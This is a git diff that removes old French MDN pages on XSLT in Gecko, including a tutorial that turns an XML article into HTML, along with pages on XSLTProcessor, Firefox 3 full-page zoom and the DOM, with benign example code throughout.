diff --git "a/files/fr/xslt_dans_gecko/g\303\251n\303\251ration_de_html/index.html" "b/files/fr/xslt_dans_gecko/g\303\251n\303\251ration_de_html/index.html" deleted file mode 100644 index ca333bb2ac..0000000000 --- "a/files/fr/xslt_dans_gecko/g\303\251n\303\251ration_de_html/index.html" +++ /dev/null @@ -1,190 +0,0 @@ ---- -title: Génération de HTML -slug: XSLT_dans_Gecko/Génération_de_HTML -translation_of: Web/API/XSLTProcessor/Generating_HTML ---- -

    -
  1. Introduction
    2. -
  2. Exemple basique
    3. -
  3. Génération de HTML
    4. -
  4. Différences entre les navigateurs
    5. -
  5. Ressources
    6. -

- -

Génération de HTML

- -

Une application courante de XSLT dans les navigateurs est la transformation de code XML en HTML du coté du client. Le second exemple va transformer un document d'entrée (example2.xml), qui contient des informations à propos d'un article, en un document HTML.

- -

L'élément <body> de l'article contient maintenant des éléments HTML (des balises <strong> et <em>, voir la figure 2). Le document XML contient à la fois des éléments HTML et éléments XML, mais un seul espace de nommage est nécessaire, pour les éléments XML. Comme il n'existe pas d'espace de nommage HTML, et que l'utilisation de l'espace de nommage XHTML forcerait le XSL à créer un document XML qui pourrait ne pas se comporter comme un document HTML, le nœud xsl:output de la feuille de style assure que le document résultant sera bien traité comme du HTML. Pour les éléments XML, nous avons besoin de notre propre espace de nommage, http://devedge.netscape.com/2002/de, à qui nous donnons le préfixe myNS (xmlns:myNS="http://devedge.netscape.com/2002/de").

- -

Figure 2 : fichier XML (example2.xml)voir l'exemple | voir le source Document XML (example2.xml): <div style="background: #EEE; font-size: 1.1em; line-height: 1.1em; border: dashed #666 1px; padding: 15px 20px 15px 20px; overflow: auto;">

- -
<?xml version="1.0"?>
-<?xml-stylesheet type="text/xsl" href="example.xsl"?>
-  <myNS:Article xmlns:myNS="http://devedge.netscape.com/2002/de">
-    <myNS:Title>Mon article</myNS:Title>
-    <myNS:Authors>
-      <myNS:Author company="Foopy Corp.">M. Foo</myNS:Author>
-      <myNS:Author>M. Bar</myNS:Author>
-    </myNS:Authors>
-    <myNS:Body>
-      En <em>Espagne</em>, les <strong>pluies</strong> se concentrent
-      principalement dans les plaines.
-    </myNS:Body>
-  </myNS:Article>
-
- -

La feuille de style XSL utilisée aura besoin de deux espaces de nommage - un pour les éléments XSLT et un pour nos propres éléments XML utilisés dans le document XML. La sortie de la feuille de style XSL est définie à HTML à l'aide de l'élément xsl:output. En définissant la sortie comme étant du code HTML et en n'ayant pas d'espace de nommage pour les éléments résultants (coloré en bleu), ces éléments seront traités comme des éléments HTML.

- -

Figure 3 : feuille de style XSL avec 2 espaces de nommage (example2.xsl) feuille de style XSL (example2.xsl):

- -
  <?xml version="1.0"?>
-  <xsl:stylesheet version="1.0"
-                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
-                           xmlns:myNS="http://devedge.netscape.com/2002/de">
-
-    <xsl:output method="html"/>
-    ...
-  </xsl:stylesheet>
-
- -

Un modèle s'appliquant au nœud racine du document XML est créé et utilisé pour créer la structure de base de la page HTML.

- -

Figure 4 : Création du document HTML de base feuille de style XSL (example2.xsl):

- -
  ...
-  <xsl:template match="/">
-  <html>
-
-    <head>
-
-      <title>
-        <xsl:value-of select="/myNS:Article/myNS:Title"/>
-      </title>
-
-      <style type="text/css">
-        .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
-      </style>
-
-    </head>
-
-    <body>
-      <p class="myBox">
-        <span class="title">
-          <xsl:value-of select="/myNS:Article/myNS:Title"/>
-        </span> <br />
-
-        Auteurs :   <br />
-          <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/>
-      </p>
-
-      <p class="myBox">
-        <xsl:apply-templates select="//myNS:Body"/>
-      </p>
-
-    </body>
-
-  </html>
-  </xsl:template>
-  ...
-
- -

Nous avons besoin de trois xsl:template supplémentaires pour parachever l'exemple. Le premier xsl:template est utilisé pour les nœuds Author, alors que le deuxième traite le nœud body. Le troisième possède une règle de correspondance générale qui lui permet de s'appliquer à chaque nœud et chaque attribut. Cela est nécessaire afin de préserver les éléments HTML présents dans le document XML : il s'appliquant à tous, et les recopie dans le document HTML créé par la transformation.

- -

Figure 5 : Les 3 modèles finaux feuille de style XSL (example2.xsl):

- -
  ...
-  <xsl:template match="myNS:Author">
-     --   <xsl:value-of select="." />
-
-    <xsl:if test="@company">
-     ::   <strong>  <xsl:value-of select="@company" />  </strong>
-    </xsl:if>
-
-    <br />
-  </xsl:template>
-
-  <xsl:template match="myNS:Body">
-    <xsl:copy>
-      <xsl:apply-templates select="@*|node()"/>
-    </xsl:copy>
-  </xsl:template>
-
-  <xsl:template match="@*|node()">
-    <xsl:copy>
-      <xsl:apply-templates select="@*|node()"/>
-    </xsl:copy>
-  </xsl:template>
-  ...
-
- -

La feuille de style XSLT finale est donc :

- -

Figure 6 : feuille de style XSLT finale voir l'exemple | voir le source feuille de style XSL :

- -
  <?xml version="1.0"?>
-  <xsl:stylesheet version="1.0"
-                           xmlns:xsl="http://www.w3.org/1999/XSL/Transform"
-                           xmlns:myNS="http://devedge.netscape.com/2002/de">
-
-    <xsl:output method="html" />
-
-    <xsl:template match="/">
-      <html>
-
-        <head>
-
-          <title>
-            <xsl:value-of select="/myNS:Article/myNS:Title"/>
-          </title>
-
-          <style type="text/css">
-            .myBox {margin:10px 155px 0 50px; border: 1px dotted #639ACE; padding:0 5px 0 5px;}
-          </style>
-
-        </head>
-
-        <body>
-          <p class="myBox">
-            <span class="title">
-              <xsl:value-of select="/myNS:Article/myNS:Title"/>
-            </span> <br />
-
-            Authors:   <br />
-              <xsl:apply-templates select="/myNS:Article/myNS:Authors/myNS:Author"/>
-            </p>
-
-          <p class="myBox">
-            <xsl:apply-templates select="//myNS:Body"/>
-          </p>
-
-        </body>
-
-      </html>
-    </xsl:template>
-
-    <xsl:template match="myNS:Author">
-       --   <xsl:value-of select="." />
-
-      <xsl:if test="@company">
-       ::   <b>  <xsl:value-of select="@company" />  </b>
-      </xsl:if>
-
-      <br />
-    </xsl:template>
-
-    <xsl:template match="myNS:Body">
-      <xsl:copy>
-        <xsl:apply-templates select="@*|node()"/>
-      </xsl:copy>
-    </xsl:template>
-
-    <xsl:template match="@*|node()">
-        <xsl:copy>
-          <xsl:apply-templates select="@*|node()"/>
-        </xsl:copy>
-    </xsl:template>
-  </xsl:stylesheet>
-
- -

{{PreviousNext("XSLT dans Gecko:Exemple basique", "XSLT dans Gecko:Différences entre les navigateurs")}}

diff --git a/files/fr/xslt_dans_gecko/index.html b/files/fr/xslt_dans_gecko/index.html deleted file mode 100644 index 0b42bdbde9..0000000000 --- a/files/fr/xslt_dans_gecko/index.html +++ /dev/null @@ -1,44 +0,0 @@ ---- -title: XSLT dans Gecko -slug: XSLT_dans_Gecko -tags: - - XSLT -translation_of: Web/API/XSLTProcessor -translation_of_original: XSLT_in_Gecko ---- -

 

- -
    -
  1. Introduction
    2. -
  2. Exemple basique
    3. -
  3. Génération de HTML
    4. -
  4. Différences entre les navigateurs
    5. -
  5. Ressources
    6. -
- -

 

- -

Introduction

- -

Une des tendances notables dans les standards du W3C a été l'effort de séparation du contenu et du style. Cela permet de réutiliser un même style pour de multiple contenus, mais également de simplifier le travail de maintenance et de permettre une modification rapide (en ne modifiant qu'un seul et unique fichier) de la charte graphique du contenu.

- -

CSS (Cascade Style Sheets) a été l'un des premiers moyens proposés par le W3C. CSS est un moyen simple d'appliquer des règles de style à un document Web. Ces règles de style définissent de quelle façon le document (le contenu) doit s'afficher. Cependant, CSS a plusieurs limitations, telles l'absence de structures de programmation et l' impossibilité de créer des modèles de rendu complexes. CSS possède également un support limité des changements de position d'un élément.

- -

Les transformations XSL (eXtensible Stylesheet Language) sont composées de deux parties : les éléments XSL, qui permettent la transformation d'un arbre XML en un arbre possédant un balisage différent, et XPath, un langage de sélection pour les arbres. XSLT traite un document XML (le contenu) et crée un nouveau document basé sur les règles contenues dans une feuille de style XSL. Ceci permet à XSLT d'ajouter, d'enlever, de réorganiser les éléments du document XML original et permet ainsi un contrôle plus fin de la structure du document résultant.

- -

Les transformations XSLT sont basées sur des règles qui sont constituées de modèles. Chaque modèle détermine à quels fragments du document XML d'entrée il applique (à l'aide de XPath) les règles de substitution qu'il contient pour créer le nouveau document en sortie.

- -

{{Next("XSLT dans Gecko:Exemple basique")}}

- -
-

Informations sur le document original

- -
    -
  • Auteur(s) : Doron Rosenberg
    • -
  • Dernière mise à jour : 30 janvier 2003
    • -
  • Copyright : © 2003 Netscape Communications.
    • -
  • URL : XSLT in Netscape Gecko
    • -
-
- -

Interwiki Languages Links

diff --git a/files/fr/xsltprocessor/index.html b/files/fr/xsltprocessor/index.html deleted file mode 100644 index 940157af5f..0000000000 --- a/files/fr/xsltprocessor/index.html +++ /dev/null @@ -1,15 +0,0 @@ ---- -title: XSLTProcessor -slug: XSLTProcessor -translation_of: Web/API/XSLTProcessor -translation_of_original: XSLTProcessor ---- -

-

XSLTProcesor est un objet fournissant une interface avec le moteur XSLT de Mozilla. Il est utilisable par du code JavaScript sans privilèges. -

- -

Interwiki Languages Links -

{{ languages( { "en": "en/XSLTProcessor" } ) }} diff --git a/files/fr/zoom_pleine_page/index.html b/files/fr/zoom_pleine_page/index.html deleted file mode 100644 index 88e46ac3f4..0000000000 --- a/files/fr/zoom_pleine_page/index.html +++ /dev/null @@ -1,42 +0,0 @@ ---- -title: Zoom pleine page -slug: Zoom_pleine_page -translation_of: Mozilla/Firefox/Releases/3/Full_page_zoom ---- -
{{FirefoxSidebar}}

{{ Fx_minversion_header(3) }} {{ Gecko_minversion_header(1.9) }}

- -

Le zoom pleine page (ou fullZoom) est une nouvelle fonctionnalité qui sera probablement disponible dans Firefox 3. Elle peut être utilisée dans les compilations courantes du tronc depuis la version 1.9a7. Bien qu'il n'y ait actuellement aucune interface utilisateur visible, il est possible d'utiliser JavaScript et l'interface XPCOM nsIMarkupDocumentViewer.

- -

Exemple (xul:browser)

- -

L'exemple qui suit montre l'utilisation du zoom pour la fenêtre de navigation ayant actuellement le focus. C'est l'utilisation typique pour une extension Firefox.

- -
var zoom = 1.5;
-var docViewer = getBrowser().mCurrentBrowser.markupDocumentViewer;
-docViewer.fullZoom = zoom;
-
- -

Exemple (xul:iframe)

- -

Il est également possible d'utiliser la fonction fullZoom pour un xul:iframe. Cependant, comme un iframe n'a pas de propriété markupDocumentViewer, il faut d'abord obtenir cette valeur :

- -
var zoom = 1.5;
-var iframe = document.getElementById("authorFrame");
-var contViewer = iframe.docShell.contentViewer;
-var docViewer = contViewer.QueryInterface(Components.interfaces.nsIMarkupDocumentViewer);
-docViewer.fullZoom = zoom;
-
- -

Références

- -
    -
  • Extension Page zoom par Ted Mielczarek fullpagezoom.xpi pour les dernières nightlies de Firefox 3.
    • -
  • Le bug concernant fullZoom sur bugzilla.
    • -
  • Documentation de l'interface nsIMarkupDocumentViewer (ne mentionne pas fullZoom pour l'instant).
    • -
- -

 

- -
 
- -

{{ languages( { "en": "en/Full_page_zoom", "es": "es/Zoom_a_p\u00e1gina_completa", "ja": "ja/Full_page_zoom" } ) }}

diff --git "a/files/fr/\303\240_propos_du_document_object_model/index.html" "b/files/fr/\303\240_propos_du_document_object_model/index.html" deleted file mode 100644 index 518da7e3d8..0000000000 --- "a/files/fr/\303\240_propos_du_document_object_model/index.html" +++ /dev/null @@ -1,16 +0,0 @@ ---- -title: À propos du Document Object Model -slug: À_propos_du_Document_Object_Model -tags: - - DOM -translation_of: Web/API/Document_Object_Model -translation_of_original: DOM/About_the_Document_Object_Model ---- -

Présentation du DOM

-

Le Document Object Model, ou modèle objet de document, est une API pour les documents HTML et XML. Le DOM fournit une représentation structurelle du document, permettant de modifier son contenu et sa présentation visuelle. Fondamentalement, il relie les pages Web aux scripts et langages de programmation.

-

Toutes les propriétés, méthodes et évènements utilisables par le développeur Web pour manipuler et créer des pages sont organisés au sein d'objets (c'est-à-dire l'objet document qui représente le document lui-même, l'objet table qui représente un élément de tableau HTML, et ainsi de suite). Ces objets sont accessibles via des langages de scripts dans la plupart des navigateurs récents.

-

Le DOM est le plus souvent utilisé en conjonction avec JavaScript. C'est-à-dire que le code est écrit en JavaScript, mais qu'il utilise le DOM pour accéder à la page Web et ses éléments. Cependant, le DOM a été conçu pour être indépendant de tout langage de programmation particulier, rendant la représentation structurelle du document disponible à l'aide d'une seule API cohérente. Bien que ce site soit concentré sur JavaScript, des implémentations du DOM peuvent être conçues pour n'importe quel langage.

-

Le World Wide Web Consortium établit un standard pour le DOM, appelé W3C DOM. Il doit permettre, maintenant que les navigateurs les plus importants l'implémentent correctement, de réaliser de puissantes applications multinavigateurs.

-

L'importance du support du DOM dans Mozilla

-

« Dynamic HTML » (DHTML) ou HTML dynamique est un terme utilisé par certains pour décrire la combinaison de HTML, de feuilles de style et de script permettant à des documents d'être animés. Le groupe de travail DOM du W3C travaille dur pour s'assurer que des solutions interopérables et ne dépendant pas du langage utilisé soient acceptées par tous (voir aussi la FAQ du W3C). Étant donné que Mozilla revendique le titre de « plateforme d'applications Web », le support du DOM est l'une des fonctionnalités les plus demandées et est nécessaire si Mozilla désire être une alternative viable à d'autres navigateurs.

-

Plus important même est le fait que l'interface utilisateur de Mozilla (ainsi que de Firefox et Thunderbird) est construite à l'aide de XUL, un langage d'interface utilisateur basé sur XML. Par conséquent, Mozilla utilise le DOM pour manipuler sa propre interface utilisateur.

-- cgit v1.2.3-54-g00ecf